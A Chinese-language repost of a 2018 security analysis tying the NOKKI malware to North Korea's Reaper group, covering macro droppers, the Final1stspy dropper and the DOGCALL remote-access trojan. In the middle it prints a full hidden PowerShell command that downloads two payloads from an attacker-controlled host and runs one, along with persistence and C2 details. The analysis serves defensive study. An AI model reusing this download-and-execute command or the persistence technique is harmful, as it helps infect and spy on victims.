交流評論、關注點贊

  • Facebook Icon臉書專頁
  • telegram Icon翻牆交流電報群
  • telegram Icon電報頻道
  • RSS訂閱禁聞RSS/FEED訂閱

News:最新發現 NOKKI 惡意軟體與朝鮮 Reaper 組織有關 - 這裡是技術分析

2018年10月10日 6:44 PDF版 分享轉發

來源:

NOKKI 是新發現的惡意軟體家族,與 KONNI 惡意軟體有代碼重疊。最新研究發現 NOKKI 與的 Reaper 組織有關。

最近,unit 42 研究人員發現了 NOKKI 惡意軟體家族,主要攻擊目標是說俄語和柬埔寨語的地區。經過分析發現該惡意軟體攻擊活動與 Reaper 組織有關。

其他安全公司的分析結果顯示 Reaper 組織與朝鮮有關,主要攻擊朝鮮關注的國家和組織,包括韓國的軍事和國防工業、與朝鮮有生意往來的中東企業等。該組織的常用手法包括使用定製的惡意軟體家族——DOGCALL。DOGCALL 是一款遠程訪問木馬(RAT),使用第三方主機服務來上傳數據和接受命令。

本文主要分析 NOKKI 惡意軟體與 DOGCALL 惡意軟體家族的關係,以及與應用 DOGCALL 的惡意軟體家族的相關信息,研究人員根據惡意軟體中的 pdb 字元串將其名命名為 Final1stspy。

惡意宏

在分析 NOKKI 惡意軟體時,unit 42 研究人員發現從 2018 年7月開始的一系列攻擊活動都使用了word文檔中的惡意宏。這些宏本質上並不複雜,而且只嘗試執行:

  • 下載和運行可執行惡意軟體 payload;
  • 下載和打開 word 誘餌文檔。

為了避免被檢測到,惡意宏使用了簡單的字元串混淆技術——base64 編碼。不同的是,惡意軟體首先將 base64 編碼的文本變成十六進位,然後再將十六進位轉換為文本字元串。


圖1 下載和執行遠程payload的惡意宏文件

Ad:美好不容錯過,和家人朋友一起享受愉快時光,現在就訂票


圖2 應用反混淆方法的惡意宏文件

通過搜索傳播 NOKKI 樣本的反混淆技術,研究人員發現另一個文件。該文件有以下特徵:

基於原始文件名,可用推測該惡意軟體樣本的攻擊目標是對 2018 年俄羅斯事世界盃感興趣的人。從下圖可用看出,樣本之間的反混淆方法和作者的註釋都是相同的 :

圖3 NOKKI dropper與World Cup predictions dropper的相似處

雖然反混淆方法是相同的,但宏文件的真實共那個有所不同。NOKKI dropper 樣本會下載 payload 和誘餌文件,而 World Cup predictions 惡意軟體樣本會下載和執行一個封裝再 HTML 中的遠程 VB 腳本文件,並把文本加入到原始 word 文檔之後來引誘受害者。

誘餌文件含有來自英國 ESPN 網站文章的公開內容:

World Cup predictions.doc 文件的執行鏈完成後,受害者機器上會執行一 個DOGCALL 惡意軟體樣本。

惡意軟體使用的評論誘餌和 payload 正說明了 DOGCALL 屬於 Reaper,隸屬朝鮮的威脅單元。

惡意軟體執行

World Cup predictions.doc 運行后,會繼續從下面的鏈接下載 VBScript 文件:

  • http:// kmbr1.nitesbr1[.]org/UserFiles/File/image/home.html

VBScript 文件使用的反混淆方法與前面描述的完全相同。當第二階段VBScript文件執行時,會將數據 1111:rom*E8FEF0CDF6C1EBBA90794B2B 寫入 %APPDATA%\Microsoft\mib.dat。該文件之後會被 Final1stspy 惡意軟體家族使用。

該文件寫入后,會執行下面的命令:
objShell. Run "cmd.exe /k powershell.exe" & " " & "-tyle" & " " & "hidden" & " " & "-ExecutionPolicy Bypass" & " " & "$h='%APPDATA%/Microsoft/Windows/msvcrt32.dll'" & ";" & "$f='%APPDATA%/Microsoft/ieConv.exe'" & ";" & "$x='" & "http://" & "kmbr1.nitesbr1. org" & "/UserFiles/File/image/images/happy.jpg" & "';" & "$t='" & "http://" & "kmbr1.nitesbr1[.]org" & "/UserFiles/File/image/images/wwwtest.jpg" & "';" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($t,$f)" & ";" & "(" & "New-Object System.Net.WebClient" & ")" & ".DownloadFile($x,$h)" & ";" & "Start-Process $f" & ";" & "Stop-Process" & " " & "-processname" & " " & "cmd", 0

代碼執行後會下載兩個文件:http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/happy.jpg 和 http:// kmbr1.nitesbr1[.]org/UserFiles/File/images/wwwtest.jpg,並保存在 %APPDATA%/Microsoft/Windows/msvcrt32.dll 和 %APPDATA%/Microsoft/ieConv.exe。最後,VBScript 文件會在新進程中執行之前下載的 ieConv.exe 文件。

這兩個文件是之前未報告的 dropper 惡意軟體家族 Final1stspy 的實例。 Final1stspy Final1stspy 惡意軟體家族可用分為可執行文件和 DLL。

這些文件有下面的特徵:

所有樣本都是幾周內編譯的。另外,用來傳播惡意軟體的原始 word 文檔的最後修改時間就是 DLL 編譯前幾天。

可執行文件和 DLL 都用了特定的路徑來混淆重要的字元串。下面的 python 代碼是用來解碼字元串的:

Final1stspy 惡意軟體開始時會尋找是否存在下面的文件:

  • %APPDATA%\Microsoft\Windows\msvcrt64.dll

如果文件存在,惡意軟體會載入DLL並嘗試調用 main_func 函數。 如果文件不存在,惡意軟體會尋找下面的文件:

  • %APPDATA%\Microsoft\Windows\msvcrt32.dll

如果文件存在,惡意軟體會 0x50 對文件進行 XOR 解密,並寫入前面提到的 msvcrt64.dll 路徑,並載入 main_func 函數。

DLL 使用的字元串混淆方法與可執行文件中的相同。首先會收集基本的系統信息,必能通過設置指向 %APPDATA%/Microsoft/ieConv.exe 的註冊表來確保駐留:HKCU\Software\Microsoft\Windows\CurrentVersion\Run\rundll32

Final1stspy 惡意軟體家族會繼續對之前的 mib.dat 文件進行閱讀和語法分析。分析的數據會被用於之後的 HTTP GET 請求,表示 Index、 Account、Group 變數。

Final1stspy 可用讀取 %APPDATA%/Microsoft/olevnc.ini 文件,該文件中有許多變數,包括用戶代理、URL、埠、內部計數器。如果文件不存在,惡意軟體會用硬編碼的用戶代理和 URL。特定的樣本會與 http: //kmbr1. nitesbr1[.]org/UserFiles/File/image/index.php 進行通信,使用的用戶代理為 Host Process Update。

惡意軟體會繼續向該 URL 發送 HTTP GET 請求,示例如下:

請求中有下面的 GET 參數:

惡意軟體期望接收到的是一個 payload,並用 XOR key 0x49 進行解密。Payload 會在受害者機器上載入。解密后,會出現下面的 payload:

通過編譯的時間戳可用看出,該文件與 Final1stspy 可執行文件的編譯時間非常接近。該 payload 已經被識別是屬於 DOGCALL 惡意軟體家族,可以在受害者設備上執行下面的動作:

  • 截屏
  • 記錄鍵盤輸入
  • 獲取麥克風數據
  • 收集受害者信息
  • 收集感興趣的文件
  • 下載和執行其他 payload

惡意軟體會與作為 C2 的第三方主機服務進行通信,包括:

  • Dropbox
  • pCloud
  • Yandex Cloud
  • Box

結論 研究人員分析惡意軟體 NOKKI 和惡意軟體 KONNI 存在代碼重疊,進一步分析發現 NOKKI 惡意軟體與朝鮮的 Reaper 組織有關。之間的關係有很多好玩的地方,比如朝鮮相關的誘餌信息和 DOGCALL 惡意軟體 payload。研究人員在分析過程中還發現一款之前沒有報告過的惡意軟體——Final1stspy。

喜歡、支持,請轉發分享↓Follow Us 責任編輯:李心惠